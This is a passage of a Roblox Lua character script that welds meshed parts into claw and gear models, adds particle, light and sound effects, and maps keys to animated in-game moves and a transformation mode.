1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(4.29999971, 4.30000019, 1)) Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5.25, 5.25, 13.5)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.Granite,0,0,TorsoColor,"Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) local modelzorz3=Instance.new("Model") modelzorz3.Parent=Character modelzorz3.Name="Eye" handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(0.5, 0.5, 3)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(0.5, 3, 0.5)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=156292343",Vector3.new(0, 0, 0),Vector3.new(7,7,7)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=156292343",Vector3.new(0, 0, 0),Vector3.new(7.15,7.15,6.5)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,1,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,1,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,1,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,1,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) local moosick = it("Sound",Character) moosick.SoundId = "rbxassetid://142653441" --142653441, 175067863 moosick.Looped = true moosick.Pitch = 0.9775 moosick.Volume = 1.25 moosick:Play() anim = Character:findFirstChild("Animate") if anim then anim:Destroy() end local particleemitter = Instance.new("ParticleEmitter", Handle) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) local particleemitter = Instance.new("ParticleEmitter", Handle2) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) local particleemitter = Instance.new("ParticleEmitter", handle) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) local light = Instance.new("PointLight", Character.Torso) light.Color = Color3.new(255,255,255) light.Brightness = 5 light.Range = 15 particleemitter.Enabled = true local Footsteps = it("Sound",Character.Torso) Footsteps.SoundId = "rbxassetid://142665235" Footsteps.Looped = true Footsteps.Pitch = 0.8 Footsteps.Volume = 0.3 local Footsteps2 = it("Sound",Character.Torso) Footsteps2.SoundId = "rbxassetid://142665235" Footsteps2.Looped = true Footsteps2.Pitch = 1 Footsteps2.Volume = 0.4 local cam = game.Workspace.CurrentCamera --cam.CameraSubject = Character for i,v in pairs(Head:children()) do if v:IsA("Sound") then v:Destroy() end end mouse.Button1Down:connect(function() if attack==false and attacktype==1 then attacktype=2 attackone() elseif attack==false and attacktype==2 then attacktype=3 attacktwo() elseif attack==false and attacktype==3 then attacktype=4 attackthree() elseif attack==false and attacktype==4 then attacktype=1 attackfour() end end) mouse.KeyDown:connect(function(k) k=k:lower() if k=='e' then if attack==false and mana>=20 then Push() end elseif k=='g' then if attack==false and mana>=50 then Twirl() end elseif k=='v' then if attack==false and mana>=25 then MagicJump() end elseif k=='c' then if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then attack=true for i = 1, 40 do swait() Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) end Blaze() attack = false end elseif k=='x' then if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then attack=true for i = 1, 15 do swait() Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) end so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) for i = 0, 30 do BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) wait(0.1) end local parteffected = Instance.new("Part",tors) parteffected.Transparency = 1 parteffected.Position = tors.Position parteffected.CanCollide = false parteffected.Anchored = true so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05) MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) local sbs = Instance.new("BodyPosition", RootPart) sbs.P = 3000 sbs.D = 1000 sbs.maxForce = Vector3.new(500000, 500000000, 500000) sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) CamShake(RootPart,27,2.5,65) for i = 1, 40 do swait() Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) end wait(3) Blaze2() attack = false parteffected:Destroy() sbs:Destroy() end elseif k=='q' then if attack==false then idle=1000 end elseif k=='h' then if attack==false then mana=100 end elseif k=='y' then if attack==false and mana>=100 then Shred() end elseif k=='f' then if attack==false and mana>=40 then Spin() end elseif k=='r' then if attack==false and mana>=20 then Clap() end elseif k=='t' then if attack==false then Hai() end elseif k=='0' then if attack==false then Humanoid.WalkSpeed=(24) end elseif k=='j' then if attack==false then Humanoid.Health = 10 print("Congrats, you commited suicide.") end end end) mouse.KeyDown:connect(function(k) if k == "z" and Ultramode == false then if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then attack = true for i = 1, 15 do swait() Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) end m:Destroy() local m = Instance.new("Model", Character) m.Name = "WeaponModel" local parta = Instance.new("Part",Character) parta.Size = vt(10,10,10) parta.BrickColor = BrickColor.new("Really black") parta.Material = "Neon" parta.Shape = "Ball" parta.Transparency = 0 parta.Anchored = true parta.CanCollide = false parta.CFrame = tors.CFrame Transform() parta:Destroy() local modelzorzz=Instance.new("Model") modelzorzz.Parent=Character modelzorzz.Name="Claw1" Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 